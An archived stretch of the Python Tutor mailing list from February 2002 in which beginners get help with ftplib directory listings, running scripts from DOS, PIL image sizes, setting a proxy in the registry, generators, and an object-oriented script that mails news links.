You Yahoo!? Yahoo! Sports - Coverage of the 2002 Olympic Games --0-742176530-1014662365=:80242 Content-Type: text/html; charset=us-ascii

Hello,

I am trying to build a program that will connect to a ftp server i.e. ftp://ftp.slackware.com and then change to a certain directory i.e. /pub/slackware/slackware-current, which I have gotten all of that to work, but when I get to that directory I want to do a LIST command, which I cannot get to work, is there something that I am overlooking, also I want this to go into all directories of slackware-current and download certain files, how can I make itgo into these directories download something, and then go to the next one?

I hope I have explained myself well enough thanks for any help

james



"I would kill everyone in this room
for a drop of sweet beer."
----Homer Simpson----



Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games --0-742176530-1014662365=:80242-- From dyoo@hkn.eecs.berkeley.edu Mon Feb 25 18:42:10 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 25 Feb 2002 10:42:10 -0800 (PST) Subject: [Tutor] OO approach In-Reply-To: <20020224172955.GA653@marvin.localdomain> Message-ID: On Sun, 24 Feb 2002, Prahlad Vaidyanathan wrote: > I recently wrote a script to extract the urls in the news emails sent by > 'The Register', and mail them to me. Initially, I just had functions to > do the following : > > - read the file, and extract the urls matching a regex > - get the urls > - mail the urls to me with the description in the subject line > > But, I soon realised I could do this to extract the URLs from the 'Linux > Journal' weekly announcements as well. So I made a class called > 'mailURL', and added sub-classes for 'Register' and 'LJNews'. Can you show us the mailURL base class? Perhaps it's possible to avoid inheritance altogether by making the parent class general enough to handle all cases. Talk to you later! From deirdre@deirdre.net Mon Feb 25 18:56:01 2002 From: deirdre@deirdre.net (Deirdre Saoirse Moen) Date: Mon, 25 Feb 2002 10:56:01 -0800 Subject: [Tutor] ftp stuff In-Reply-To: <20020225183925.80393.qmail@web13901.mail.yahoo.com> References: <20020225183925.80393.qmail@web13901.mail.yahoo.com> Message-ID: --============_-1197459131==_ma============ Content-Type: text/plain; charset="us-ascii" ; format="flowed" At 10:39 AM -0800 2/25/02, james middendorff wrote: >I am trying to build a program that will connect to a ftp server >i.e. ftp://ftp.slackware.com and then >change to a certain directory i.e. /pub/slackware/slackware-current, >which I have gotten all of that to work, but when I get to that >directory I want to do a LIST command, which I cannot get to work, >is there something that I am overlooking, also I want this to go >into all directories of slackware-current and download certain >files, how can I make itgo into these directories download >something, and then go to the next one? See: http://www.wu-ftpd.org/rfc/rfc0959.txt Likely you've forgotten (or didn't know) that ftp requires TWO network connections, one for the control, one for the data. The reply for the LIST command, iirc, comes back on the data connection. -- _Deirdre * http://deirdre.net "The evening news only spoils the morning paper." -- Anne Lamott --============_-1197459131==_ma============ Content-Type: text/html; charset="us-ascii" Re: [Tutor] ftp stuff
At 10:39 AM -0800 2/25/02, james middendorff wrote:
I am trying to build a program that will connect to a ftp server i.e. ftp://ftp.slackware.com and then change to a certain directory i.e. /pub/slackware/slackware-current, which I have gotten all of that to work, but when I get to that directory I want to do a LIST command, which I cannot get to work, is there something that I am overlooking, also I want this to go into all directories of slackware-current and download certain files, how can I make itgo into these directories download something, and then go to the next one?

See: http://www.wu-ftpd.org/rfc/rfc0959.txt

Likely you've forgotten (or didn't know) that ftp requires TWO network connections, one for the control, one for the data. The reply for the LIST command, iirc, comes back on the data connection.
-- 
_Deirdre   *    http://deirdre.net   "The evening news only spoils
the morning paper."     -- Anne Lamott
--============_-1197459131==_ma============-- From ak@silmarill.org Mon Feb 25 19:04:39 2002 From: ak@silmarill.org (Andrei Kulakov) Date: Mon, 25 Feb 2002 14:04:39 -0500 Subject: [Tutor] ftp stuff In-Reply-To: <20020225183925.80393.qmail@web13901.mail.yahoo.com> References: <20020225183925.80393.qmail@web13901.mail.yahoo.com> Message-ID: <20020225190439.GA13805@ak.silmarill.org> On Mon, Feb 25, 2002 at 10:39:25AM -0800, james middendorff wrote: > > Hello, > > I am trying to build a program that will connect to a ftp server i.e. ftp://ftp.slackware.com and then change to a certain directory i.e. /pub/slackware/slackware-current, which I have gotten all of that to work, but when I get to that directory I want to do a LIST command, which I cannot get to work, is there something that I am overlooking, also I want this to go into all directories of slackware-current and download certain files, how can I make itgo into these directories download something, and then go to the next one? def process(line): [ process line ] conn.retrlines("LIST", process) conn is your connection instance. If I remember right, the last line will repeatedly call process function with lines that it gets from LIST, one line at a time. This looks a bit unusual but I think the idea is that if the listing is large and connection is slow, you want to get one line and process it and then get another line, because it'd be slower to wait till you get all lines and then wait till you process them.. > > I hope I have explained myself well enough thanks for any help > > james > > > "I would kill everyone in this room > for a drop of sweet beer." > ----Homer Simpson---- > > > --------------------------------- > Do You Yahoo!? > Yahoo! Sports - Coverage of the 2002 Olympic Games -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From miracle@paradise.net.nz Mon Feb 25 19:54:05 2002 From: miracle@paradise.net.nz (Matthew Sherborne) Date: Tue, 26 Feb 2002 08:54:05 +1300 Subject: [Tutor] Re: Is it possible in Python too? References: <3C7A6BA1.26999.19EEC27@localhost> Message-ID: <001e01c1be36$2f740a90$08020196@Jonah> Yes but I don't know how. Tell me how to do it in another language, and I'll tell you how in python ;) GBU Matthew ----- Original Message ----- From: "A" To: ; ; ; Sent: Tuesday, February 26, 2002 4:51 AM Subject: Is it possible in Python too? > > Hi, > Is possible to set up a proxy name (address) in MS Explorer > browser from a running Python program? > Thank you for your help. > Ladislav > > > > _______________________________________________ > ActivePython mailing list > ActivePython@listserv.ActiveState.com > To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs > From gayers7@cogeco.ca Mon Feb 25 21:11:35 2002 From: gayers7@cogeco.ca (Gordon W. Ayers) Date: Mon, 25 Feb 2002 15:11:35 -0600 Subject: [Tutor] running programs in python Message-ID: <3C7AA887.B326CA26@cogeco.ca> Hi Here is a pretty stupid question. How do I run a program from the python command line? I have IDLE and Pythonwin which I don't have too much trouble with but I would like to know how to execute a program from the command line in a DOS shell. As is probably very obvious I have just started to use python. Thanks in advance for any help. Gord From sheila@thinkspot.net Mon Feb 25 21:44:11 2002 From: sheila@thinkspot.net (Sheila King) Date: Mon, 25 Feb 2002 13:44:11 -0800 Subject: [Tutor] running programs in python In-Reply-To: <3C7AA887.B326CA26@cogeco.ca> References: <3C7AA887.B326CA26@cogeco.ca> Message-ID: <30A802073EF@kserver.org> On Mon, 25 Feb 2002 15:11:35 -0600, "Gordon W. Ayers" wrote about [Tutor] running programs in python: > Hi > Here is a pretty stupid question. How do I run a program from the > python command line? I have IDLE and Pythonwin which I don't have too > much trouble with but I would like to know how to execute a program from > the command line in a DOS shell. > As is probably very obvious I have just started to use python. > Thanks in advance for any help. > OK, sounds like you are on a windows machine. Probably, Python has installed itself, with settings in the registry, so that it is in your "path" for your computer, so it should be called from just about any directory. Try this: Open a DOS window (Go to the "Start" menu, Programs, and find MS-DOS in the list). Change your directory to one containing a python script. C:> cd practice C:\practice> and now at the command prompt type C:\practice> python myscript.py Where myscript.py is in the directory practice on the C: drive. You could always do it from a different directory if you include the full path to the script. C:\otherdir> python c:\practice myscript.py should work, too. HTH, -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From kauphlyn@speakeasy.org Mon Feb 25 22:02:52 2002 From: kauphlyn@speakeasy.org (Daniel Coughlin) Date: Mon, 25 Feb 2002 14:02:52 -0800 (PST) Subject: [Tutor] Re: Is it possible in Python too? In-Reply-To: <001e01c1be36$2f740a90$08020196@Jonah> Message-ID: Hey, iirc, the proxy server setting is set in the registry, and you cant set registry items from an internet explorer object. so you need to change the registry - heres the link from aspn telling how to do just such a thing: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66011 the entry you will be needing to modify is HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Internet Settings or something like that. there maybe other things you need to modify, but i think that should put you in the right direction. test this and test a bunch before deploying into anykind of production environment. the registry is a very sensitive place. OT: A bit of netiquettte: You dont need to send emails to so many lists. Most of the people on any one of these lists are prally on at least one other. If you cant get your question answered on one list. Then try another. No need to send so many emails. Daniel On Tue, 26 Feb 2002, Matthew Sherborne wrote: > Yes but I don't know how. > > Tell me how to do it in another language, and I'll tell you how in python ;) > > GBU > Matthew > ----- Original Message ----- > From: "A" > To: ; ; > ; > Sent: Tuesday, February 26, 2002 4:51 AM > Subject: Is it possible in Python too? > > > > > > Hi, > > Is possible to set up a proxy name (address) in MS Explorer > > browser from a running Python program? > > Thank you for your help. > > Ladislav > > > > > > > > _______________________________________________ > > ActivePython mailing list > > ActivePython@listserv.ActiveState.com > > To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs > > > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From erikprice@mac.com Tue Feb 26 00:16:56 2002 From: erikprice@mac.com (Erik Price) Date: Mon, 25 Feb 2002 19:16:56 -0500 Subject: [Tutor] identifying graphics attributes Message-ID: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com> Hello, everyone: I have been reading quite a bit about Python over the past month (since I first subscribed to this list), and experimenting with the interpreter when I have the opportunity. I'm really impressed with this language, and if I wasn't already halfway through my work project (in PHP), I would see if I could do it using Python instead. However, I have come upon a possible dilemma, and I am thinking that Python might be just the language to use for this. Let me explain: The project that I am working on is essentially a scaled-down content management system, to simply keep track of a database of project information and information about graphics files. For instance, when someone in our design studio creates a new image, and burns it to a CD, they will at the same time go to the web site (my project) and enter some information about the file such as its height and width in inches, its size in MB, its resolution, and who they created it for. There are other features of this application that aren't really relevant to the point of this post. One of my co-workers brought up a very good point -- once in a while, a designer has a CD with sometimes 50 or more images on it, which will need to be added to the database. This is kind of a problem, because while it's not a big deal to fill out the information for ten or fifteen files and submit them to the database via the web site, sitting there and filling out fifty or more HTML forms is going to be a bit inconvenient. It would be nice if there were a program that could do the work of identifying the file's information (basic attributes like width and height and resolution by crawling through a directory and extracting the relevant data from the file. PHP is not a good language for doing this, since it's really intended for developing dynamic web sites, but it seemed that this is something that Python might be able to do. The Python script could crawl through a directory of files, extract the relevant information about each of them and write them in XML to a file. The file could then be sent to the web server, where another Python script would parse the information and form the relevant SQL statements to insert this data into the database. Because the level of detail involved is not very great (the important parts are literally the width, height, file size, and filename), this doesn't seem like a completely unapproachable task. Is there a resource I could look to for information about using Python to "examine" graphics files (like Photoshop or Illustrator documents)? This will need to run on Mac OS 9, though that can be worked around if necessary (I have Unix and windows machines at my disposal as well). I would appreciate any input that anyone can give -- I know it seems like a pretty big project to tackle right off the bat, but I'm really interested in the plausibility of something like this. Thanks very much Erik From rkashyap@sympatico.ca Tue Feb 26 00:18:09 2002 From: rkashyap@sympatico.ca (Ramkumar Kashyap) Date: Mon, 25 Feb 2002 19:18:09 -0500 Subject: [Tutor] Info on Python Server Pages (PSP) Message-ID: <3C7AD441.4070701@sympatico.ca> Hi! I saw a few references to writing Python Server Pages just like ASP, JSP. Have not come across any documentation for it though. Does any documentation exist on PSP? Does it work with IIS/Netscape? regards, Ramkumar From dyoo@hkn.eecs.berkeley.edu Tue Feb 26 02:04:12 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 25 Feb 2002 18:04:12 -0800 (PST) Subject: [Tutor] identifying graphics attributes In-Reply-To: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com> Message-ID: On Mon, 25 Feb 2002, Erik Price wrote: > inconvenient. It would be nice if there were a program that could do > the work of identifying the file's information (basic attributes like > width and height and resolution by crawling through a directory and > extracting the relevant data from the file. Hi Erik, Yes, we can do this with the Python Imaging Library (PIL): http://www.pythonware.com/products/pil/ PIL is well suited for image manipulations. If we use PIL, the problem is not bad at all --- I think it would involve doing something like: ### ## Warning, warning, untested code for file in files: im = Image.open(file) print "%s has dimensions %s and is of size %s bytes" % \ (file, im.size, os.path.getsize(file)) ### > of detail involved is not very great (the important parts are > literally the width, height, file size, and filename), this doesn't > seem like a completely unapproachable task. I think this should be a great first Python script. *grin* By the way, if you'd like more details on os.path, you can look at: http://www.python.org/doc/lib/module-os.path.html Another interesting module would be the 'glob' module: http://www.python.org/doc/lib/module-glob.html which helps us pull all the files in a given directory. Hope this helps! From miracle@paradise.net.nz Mon Feb 25 20:17:32 2002 From: miracle@paradise.net.nz (Matthew Sherborne) Date: Tue, 26 Feb 2002 09:17:32 +1300 Subject: [Tutor] Re: Is it possible in Python too? References: <3C7A6BA1.26999.19EEC27@localhost> Message-ID: <005b01c1be39$75c23640$08020196@Jonah> OK, Sorry for the smart remark. How would it be done normally; by COM automation or by editing files? Python does both. Tell how and I'll send you the python script that does it. Matthew Sherborne From toodles@yifan.net Tue Feb 26 02:14:49 2002 From: toodles@yifan.net (Andy W) Date: Tue, 26 Feb 2002 10:14:49 +0800 Subject: [Tutor] identifying graphics attributes References: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com> Message-ID: <003d01c1be6b$5fd97730$3100a8c0@sun> Hi Eric, > Is there a resource I could look to for information about using Python > to "examine" graphics files (like Photoshop or Illustrator documents)? > This will need to run on Mac OS 9, though that can be worked around if > necessary (I have Unix and windows machines at my disposal as well). I > would appreciate any input that anyone can give -- I know it seems like > a pretty big project to tackle right off the bat, but I'm really > interested in the plausibility of something like this. Have you looked at PIL? http://www.pythonware.com/products/pil/ Something simple like the following can be done to get the size of an image, with PIL: import Image picture=Image.open("example.jpg") print picture.size The binaries are only in Windows format, but the source is there. I'm not sure how many different file formats it supports, but I tried BMP, JPG, GIF and PNG. They were all successful. I hope this makes your task easier! Good luck. Andy > > Thanks very much > > > Erik > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From toodles@yifan.net Tue Feb 26 02:17:06 2002 From: toodles@yifan.net (Andy W) Date: Tue, 26 Feb 2002 10:17:06 +0800 Subject: [Tutor] Info on Python Server Pages (PSP) References: <3C7AD441.4070701@sympatico.ca> Message-ID: <004301c1be6b$b12a6bd0$3100a8c0@sun> > Hi! > > > I saw a few references to writing Python Server Pages just like ASP, > JSP. Have not come across any documentation for it though. Does any > documentation exist on PSP? Does it work with IIS/Netscape? I don't know anything about PSP, but here's the website for it. http://webware.sourceforge.net/ HTH Andy > > > regards, > > > Ramkumar > > > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From e.kotyk@shaw.ca Tue Feb 26 02:14:23 2002 From: e.kotyk@shaw.ca (Eve Kotyk) Date: Tue, 26 Feb 2002 02:14:23 +0000 Subject: [Tutor] identifying graphics attributes References: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com> <003d01c1be6b$5fd97730$3100a8c0@sun> Message-ID: <3C7AEF7F.43EED195@shaw.ca> Andy W wrote: > > Hi Eric, > > > Is there a resource I could look to for information about using Python > > to "examine" graphics files (like Photoshop or Illustrator documents)? > > This will need to run on Mac OS 9, though that can be worked around if > > necessary (I have Unix and windows machines at my disposal as well). I > > would appreciate any input that anyone can give -- I know it seems like > > a pretty big project to tackle right off the bat, but I'm really > > interested in the plausibility of something like this. > > Have you looked at PIL? > http://www.pythonware.com/products/pil/ > > Something simple like the following can be done to get the size of an image, > with PIL: > > import Image > picture=Image.open("example.jpg") > print picture.size > Is Image a module specific to a particular version of Python? When I suggest to my interpretor (1.5.2) that it should import Image it tells me there is no such module. I'm particularly interested because I discover abit of code I think would be valuable to me but it doesn't work for the same reason...the second line is: import Image -- ekotyk http://members.shaw.ca/e.kotyk/virtualstudio.htm From sheila@thinkspot.net Tue Feb 26 02:34:22 2002 From: sheila@thinkspot.net (Sheila King) Date: Mon, 25 Feb 2002 18:34:22 -0800 Subject: [Tutor] identifying graphics attributes In-Reply-To: <3C7AEF7F.43EED195@shaw.ca> References: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com> <003d01c1be6b$5fd97730$3100a8c0@sun> <3C7AEF7F.43EED195@shaw.ca> Message-ID: <4142F1066C8@kserver.org> On Tue, 26 Feb 2002 02:14:23 +0000, Eve Kotyk wrote about Re: [Tutor] identifying graphics attributes: > Andy W wrote: > > Have you looked at PIL? > > http://www.pythonware.com/products/pil/ > > > > Something simple like the following can be done to get the size of an image, > > with PIL: > > > > import Image > > picture=Image.open("example.jpg") > > print picture.size > > > Is Image a module specific to a particular version of Python? When I > suggest to my interpretor (1.5.2) that it should import Image it tells > me there is no such module. I'm particularly interested because I > discover abit of code I think would be valuable to me but it doesn't > work for the same reason...the second line is: import Image PIL is not part of the Standard library. You have to install it separate. Go to the URL that Andy gave above for more information about PIL (Python Imaging Library). -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From virketis@fas.harvard.edu Tue Feb 26 02:36:30 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Mon, 25 Feb 2002 21:36:30 -0500 Subject: [Tutor] identifying graphics attributes References: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com> <003d01c1be6b$5fd97730$3100a8c0@sun> <3C7AEF7F.43EED195@shaw.ca> Message-ID: <003501c1be6e$65edd550$18adf78c@virketis2> Eve, > Is Image a module specific to a particular version of Python? When I > suggest to my interpretor (1.5.2) that it should import Image it tells > me there is no such module. I'm particularly interested because I > discover abit of code I think would be valuable to me but it doesn't > work for the same reason...the second line is: import Image No, the module is part of PIL (Python Image Library): http://www.pythonware.com/products/pil/. Cheers, Pijus From e.kotyk@shaw.ca Tue Feb 26 02:35:01 2002 From: e.kotyk@shaw.ca (Eve Kotyk) Date: Tue, 26 Feb 2002 02:35:01 +0000 Subject: [Tutor] identifying graphics attributes References: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com> <003d01c1be6b$5fd97730$3100a8c0@sun> <3C7AEF7F.43EED195@shaw.ca> <003501c1be6e$65edd550$18adf78c@virketis2> Message-ID: <3C7AF455.51FAC30E@shaw.ca> Pijus Virketis wrote: > > Eve, > > > Is Image a module specific to a particular version of Python? When I > > suggest to my interpretor (1.5.2) that it should import Image it tells > > me there is no such module. I'm particularly interested because I > > discover abit of code I think would be valuable to me but it doesn't > > work for the same reason...the second line is: import Image > > No, the module is part of PIL (Python Image Library): > http://www.pythonware.com/products/pil/. Oi what a dummkopf I am. Thank you. E -- ekotyk http://members.shaw.ca/e.kotyk/virtualstudio.htm From sheila@thinkspot.net Tue Feb 26 03:17:07 2002 From: sheila@thinkspot.net (Sheila King) Date: Mon, 25 Feb 2002 19:17:07 -0800 Subject: [Tutor] Info on Python Server Pages (PSP) In-Reply-To: <004301c1be6b$b12a6bd0$3100a8c0@sun> References: <3C7AD441.4070701@sympatico.ca> <004301c1be6b$b12a6bd0$3100a8c0@sun> Message-ID: <43B4E04367E@kserver.org> On Tue, 26 Feb 2002 10:17:06 +0800, "Andy W" wrote about Re: [Tutor] Info on Python Server Pages (PSP): > > Hi! > > > > > > I saw a few references to writing Python Server Pages just like ASP, > > JSP. Have not come across any documentation for it though. Does any > > documentation exist on PSP? Does it work with IIS/Netscape? > > I don't know anything about PSP, but here's the website for it. > http://webware.sourceforge.net/ > For more information on this topic, see this page: http://thor.prohosting.com/~pboddie/Python/web_modules.html Or this one: http://starbase.neosoft.com/~claird/comp.lang.python/web_python.html -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From erikprice@mac.com Tue Feb 26 03:39:16 2002 From: erikprice@mac.com (Erik Price) Date: Mon, 25 Feb 2002 22:39:16 -0500 Subject: [Tutor] identifying graphics attributes In-Reply-To: Message-ID: <6865419F-2A6A-11D6-95E1-00039351FE6A@mac.com> On Monday, February 25, 2002, at 09:04 PM, Danny Yoo wrote: > Yes, we can do this with the Python Imaging Library (PIL): > > http://www.pythonware.com/products/pil/ > > PIL is well suited for image manipulations. Awesome! I'm looking forward to it -- while I do like PHP, this'll be my first chance to "do something" with Python. Thanks for the pointer, Danny. Erik From paulsid@shaw.ca Tue Feb 26 02:46:38 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Mon, 25 Feb 2002 19:46:38 -0700 Subject: [Tutor] Iterators and generators for the masses References: Message-ID: <3C7AF70E.4D7AB72F@shaw.ca> kevin parks wrote: > 2> Anyone up to explaining them here? (hopefully in a way that > someone other than Tim Peters and Guido understands! Insult me if > you must -- talk to me like I am a 12 year old! Why? Because there > are 12 year olds out there learning Python and those of us with the > math/science/programming chops of a 12 year old who are also trying > to understand this stuff). Okay, here's the simplest non-mathematical example of a generator that I can think of off the top of my head: Most of us in North America have seen those "Now Serving" signs. In case these aren't common elsewhere, basically what happens is you take a ticket with a number on it from the dispenser and then wait around until your number is called. There's a digital sign on the wall and people behind the counter can press a button to advance the number on the sign. (Usually the numbers are 2-digits, from 00-99.) This saves people from having to wait in a queue. Say you were simulating this in a computer program. (I don't know why you would want to, but just say you were.) The ticket dispenser could be implemented as a generator. The dispenser's sole job is to serve up one number at a time. We don't care what's going on inside the fat red circular part, all we are concerned with is that it to give us one numbered ticket at a time in a predictable order. This is exactly what generators do. As it turns out, the sign can also be implemented using a generator, and in fact using the same generator as the dispenser. The principles behind the sign are the same - it only cares about one number at a time in a specific order, in this case the same order as the dispenser. So to implement this we might do something like this: def ticket_number_gen(start=0, wrap=100): num = start while 1: yield num num += 1 if num == wrap: num = 0 This could then be used for both the dispenser and the sign as follows: dispenser = ticket_number_gen() sign = ticket_number_gen() ... dispenser.next() # Fetches the next "ticket". ... sign.next() # Advances the sign. Why do it this way as opposed to another way? To be honest, I don't know. There's nothing here you couldn't do with a function or a class. The only advantage I can see to the above is that you don't have to go to the trouble of creating a class yet it's somewhat cleaner than a function-based approach. To me generators only seem to be useful when there's a ton of possible values and you only need one at a time. Combinatorics springs to mind. So I'd also be happy to see some explanations of their benefits in "everyday programming". Perhaps that's the problem with writing tutorials for generators - if you want to fit them into a task that's simple enough to help you understand them, you don't need them. :-) > what do they do? what can they do, what tasks do they make easier, > what is the simplest possible example, what is a more complex > example...etc. & co. I actually found test_generators, the unit test for generator functionality, quite informative. It starts simple and then moves to some advanced applications. If nothing else it at least has lots of examples. It's in the Python source installation, but if you don't have that here's a (very long) URL: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/test/test_generators.py?rev=1.30&content-type=text/vnd.viewcvs-markup -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From slime@vsnl.net Tue Feb 26 04:50:39 2002 From: slime@vsnl.net (Prahlad Vaidyanathan) Date: Tue, 26 Feb 2002 10:20:39 +0530 Subject: [Tutor] Re: OO approach In-Reply-To: References: <20020224172955.GA653@marvin.localdomain> Message-ID: <20020226045039.GA556@marvin.localdomain> --vtzGhvizbBRQ85DL Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, On Mon, 25 Feb 2002 Danny Yoo spewed into the ether: [-- snip --] > Can you show us the mailURL base class? Perhaps it's possible to avoid > inheritance altogether by making the parent class general enough to handle > all cases. Well, I've attached the entire script here (~9K). I've just added another sub-class for the Wired Daily News as well, but I am yet to check if that works (it should). The script works all right, but something tells me there _must_ be a better way of doing this :-) pv. -- Prahlad Vaidyanathan Parallel lines never meet, unless you bend one or both of them. --vtzGhvizbBRQ85DL Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="mailurl.py" #! /usr/local/bin/python -S """ Script to download news URLs from : * The Register Extracted from an email received every weekday. The email is dumped into ~/Email/tmp_register by procmail URLs are extracted using a regex After they are retrieved, the tmp_register folder is removed * Linux Journal News Extracted from an email received weekly The email is dumped into ~/Email/tmp_ljnews by procmail URLs are extracted using a regex After they are retrieved, the tmp_ljnews folder is removed * Wired News Extracted from an email received daily The email is dumped into ~/Email/tmp_wired by procmail URLs are extracted using a regex After they are retrieved, the tmp_wired folder is removed * Linux Weekly News Retrieved every Thursday * Linux Documentation Project Retrieved every Wednesday * Kernel Traffic Retrieved every Tuesday Author: Prahlad Vaidyanathan """ # Set this variable if you are behind a proxy # os.environ['http_proxy'] = 'http://foo.bar:3128' # CAVEAT # * if i don't connect to the net on said day, that day's LWN/LDP/etc. is # not retrieved import os, sys, time import re, string import urllib, rfc822 import MailMsg # By Prabhu Ramachandran class mailURL : """ Base class : Extracts the dictionary of links, and then mails them to all the users in the to_addrs list using the description of the link in the subject line. Arguments : from_addr - "From" address to be used when mailing the pages to_addrs - List of "To" addresses to be used when mailing file - File containing the original news Email regex - The regex to match in the file, to extract the URLs """ def __init__(self, from_addr, to_addrs, file='/dev/null', regex='') : """ Creates the archive directory """ self.archive_dir = '/tmp' if not os.path.isdir(self.archive_dir) : os.mkdir(self.archive_dir) self.from_addr = from_addr self.to_addrs = to_addrs self.log_file = sys.stdout self.regex = regex self.file = file def log(self,msg) : """ Logs messages to self.log_file """ self.log_file.write(msg) self.log_file.flush() def retrieveURL(self,link) : """ Retrieves a single URL, and returns the filename """ save_file = os.path.join(self.archive_dir,self.filename(link)) if os.path.isfile(save_file) : self.log('%s exists .. ignoring.\n' % string.strip(save_file)) return(0) else : try : filename, headers = urllib.urlretrieve(link,save_file) return(filename) # return(save_file) ? except IOError, txt : self.log("\nConnect error: %s\n" % txt) sys.exit(-1) except KeyboardInterrupt : self.log("\nUser aborted ...\n") sys.exit(-1) def getAllURLs(self) : """ Retrieves all the URLs in the dictionary, and mails them """ retrieve_count = 0 dict = self.extractURLs() for desc in dict.keys() : self.log('%s\n\t%s -> ' % (desc, dict[desc])) file = self.retrieveURL(dict[desc]) if file : self.mailHTML(desc,file) self.log("mailed.\n") retrieve_count += 1 return(retrieve_count) def mailHTML(self, subject, file) : """ Mails file with the subject line specified. """ m = MailMsg.MailMsg(self.from_addr,subject) fd = open(file) if self.file != '/dev/null' : fp = open(self.file) mail = rfc822.Message() message_id = mail['message-id'] m.addHeader('References',message_id) fp.close() m.addHtml( fd.read() ) m.mail(self.from_addr,self.to_addrs) fd.close() # The next functions are specific to the sub-class def filename(self,link) : """ Returns an appropriate filename for a link """ return None def extractURLs (self) : """ Return dictionary in link[description] pairs """ return {} # ---------- class LinuxWeeklyNews (mailURL) : def filename (self, link) : return('lwn-%s.html' % \ time.strftime("%Y-%m-%d",time.gmtime())) def extractURLs (self) : desc = 'Linux Weekly News %s' % \ time.strftime("%Y-%m-%d",time.localtime()) link = 'http://lwn.net//%s/bigpage.php3' % \ time.strftime("%Y/%m%d",time.localtime()) return({desc:link}) # ---------- class KernelTraffic (mailURL) : def filename (self, link) : return('kt-%s.html' % \ time.strftime("%Y-%m-%d",time.localtime())) def extractURLs (self) : desc = 'Kernel Traffic %s' % \ time.strftime("%Y-%m-%d",time.localtime()) link = 'http://kt.zork.net/kernel-traffic/latest.html' return({desc:link}) # ---------- class LinuxDoc (mailURL) : def filename (self, link) : return('ldp-%s.html' % \ time.strftime("%Y-%m-%d",time.localtime())) def extractURLs (self) : desc = 'Linux Documentation Project News %s' % \ time.strftime("%Y-%m-%d",time.localtime()) link = 'http://www.linuxdoc.org/ldpwn/latest.html' return({desc:link}) # ---------- class WiredNews (mailURL) : def filename (self, link) : file = os.path.basename(link[:-14]) file = string.replace(file,',','-') return(file) def extractURLs (self) : fd = open(self.file) links = {} lines = fd.readlines() for count in range(len(lines)) : line = lines[count] if self.regex.search(line) : desc = string.strip(lines[count-2]) desc += " " + string.strip(lines[count-1]) links[desc] = string.strip(line) fd.close() return(links) # ---------- class Register (mailURL) : def filename (self, link) : return(os.path.basename(link)) def extractURLs(self) : fd = open(self.file) links = {} lines = fd.readlines() for count in range(len(lines)) : line = lines[count] if self.regex.search(line) : desc = string.strip(lines[count-2]) desc = desc + " " + string.strip(lines[count-1]) links[desc] = string.strip(line) fd.close() return(links) # ---------- class LinuxJournal (mailURL) : def filename (self, link) : return(link[-4:] + '.html') def extractURLs (self) : fd = open(self.file) links = {} lines = fd.readlines() for count in range(len(lines)) : line = lines[count] match = self.regex.search(line) if match : desc = string.strip(lines[count-2]) desc = desc + " " + string.strip(lines[count-1]) links[desc] = string.strip(match.group(1)) fd.close() return(links) # ---------- def main() : """Runs the script""" # Change these to suit your needs frm = "The News " to_adds = ["prahlad@localhost"] news = [] # Register filename = os.path.join(os.environ['HOME'],'Email/tmp_register') if os.path.isfile(filename) : regex = re.compile(r'http://www.theregister.co.uk/') news.append( Register(frm,to_adds,filename,regex) ) # LJ news filename = os.path.join(os.environ['HOME'],'Email/tmp_ljnews') if os.path.isfile(filename) : regex = re.compile(r'(http://www.linuxjournal.com/article.php[^\s]*)') news.append( LinuxJournal(frm,to_adds,filename,regex) ) # Wired news filename = os.path.join(os.environ['HOME'],'Email/tmp_wired') if os.path.isfile(filename) : regex = re.compile(r'http://www.wired.com/news/..*') news.append( WiredNews(frm,to_adds,filename,regex) ) # Weekly news day_of_the_week = time.localtime()[6] # Days => 0:Mon ... 6:Sun if day_of_the_week == 3 : news.append( LinuxWeeklyNews(frm,to_adds) ) elif day_of_the_week == 2 : news.append( LinuxDoc(frm,to_adds) ) elif day_of_the_week == 1 : news.append( KernelTraffic(frm,to_adds) ) # The loop count = 0 for new in news : count += new.getAllURLs() try : os.remove(new.file) except OSError : pass print "%s: %d retrieved and mailed." % \ (os.path.basename(sys.argv[0]),count) if __name__ == '__main__' : main() --vtzGhvizbBRQ85DL-- From dyoo@hkn.eecs.berkeley.edu Tue Feb 26 07:44:08 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 25 Feb 2002 23:44:08 -0800 (PST) Subject: [Tutor] Re: OO approach In-Reply-To: <20020226045039.GA556@marvin.localdomain> Message-ID: On Tue, 26 Feb 2002, Prahlad 